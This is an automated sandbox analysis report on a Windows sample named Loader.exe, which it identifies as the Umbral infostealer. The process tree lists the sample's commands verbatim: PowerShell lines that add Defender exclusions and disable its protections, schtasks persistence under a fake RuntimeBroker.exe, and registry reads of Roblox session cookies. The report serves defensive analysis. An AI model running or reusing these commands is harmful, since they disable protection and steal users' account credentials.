Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 19:55

General

  • Target
    Loader.exe
  • Size 1.1MB
  • Sample260819-ym3pcsvthv
  • SHA256 5ddd88a2e01fd173974d45eea41d6835ea1e0e6f89ff3165f2b49b256963961c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects Umbral payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAZAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAaAB1ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5244
    • C:\Users\Admin\AppData\Roaming\affe_loader.exe
      "C:\Users\Admin\AppData\Roaming\affe_loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:5076
    • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Disables automatic submission of suspicious files to Microsoft by Windows Defender
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:680
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "ZxumSDs6" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3408
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "ZxumSDs6_svc" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc minute /mo 5 /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2312
  • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
    1⤵
    • Executes dropped EXE
    PID:824
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3224

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 952B
        • SHA256 06ed276ac8635731360642d55b735d02948f8bd9736bc0d6cb07b0cd4c4ae527
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_lxp1ts5e.usl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxp1ts5e.usl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        RuntimeBroker.exe

        • Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
        • Size 458KB
        • SHA256 059344941a9b0949c40ed3c0aafc6d3d4fee8de37c638be8d59c2a0156f79d91
        • MD5 SHA1 SHA512 SSDEEP TLSH

        affe_loader.exe

        • Path C:\Users\Admin\AppData\Roaming\affe_loader.exe
        • Size 599KB
        • SHA256 e2a4bf39121b8e6c1aa71510297e40d7a008301d53f2209d302f1fd6e072d9b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/5040-29-0x0000026D9B070000-0x0000026D9B0E8000-memory.dmp

        memory/5040-77-0x0000026D9BFC0000-0x0000026D9BFD2000-memory.dmp

        memory/5040-76-0x0000026D9BF90000-0x0000026D9BF9A000-memory.dmp

        memory/5040-65-0x0000026D9BE90000-0x0000026D9BEAE000-memory.dmp

        memory/5040-64-0x0000026D9BEB0000-0x0000026D9BF00000-memory.dmp

        memory/5040-63-0x0000026D9BF00000-0x0000026D9BF76000-memory.dmp

        memory/5244-50-0x000001BF7C9A0000-0x000001BF7CA52000-memory.dmp

        memory/5244-45-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-60-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-30-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-51-0x000001BF7CA60000-0x000001BF7CA6A000-memory.dmp

        memory/5244-33-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-34-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-35-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-36-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-37-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-38-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-39-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-40-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-41-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-44-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-32-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-46-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5244-49-0x000001BF7C980000-0x000001BF7C99E000-memory.dmp

        memory/5244-24-0x000001BF7C8E0000-0x000001BF7C902000-memory.dmp

        memory/5996-1-0x0000000000770000-0x0000000000894000-memory.dmp

        memory/5996-25-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-21-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-31-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-12-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-7-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-5-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-4-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-3-0x000000001B740000-0x000000001B84E000-memory.dmp

        memory/5996-2-0x00007FFB6CDD0000-0x00007FFB6D774000-memory.dmp

        memory/5996-0-0x00007FFB6CF5F000-0x00007FFB6CF60000-memory.dmp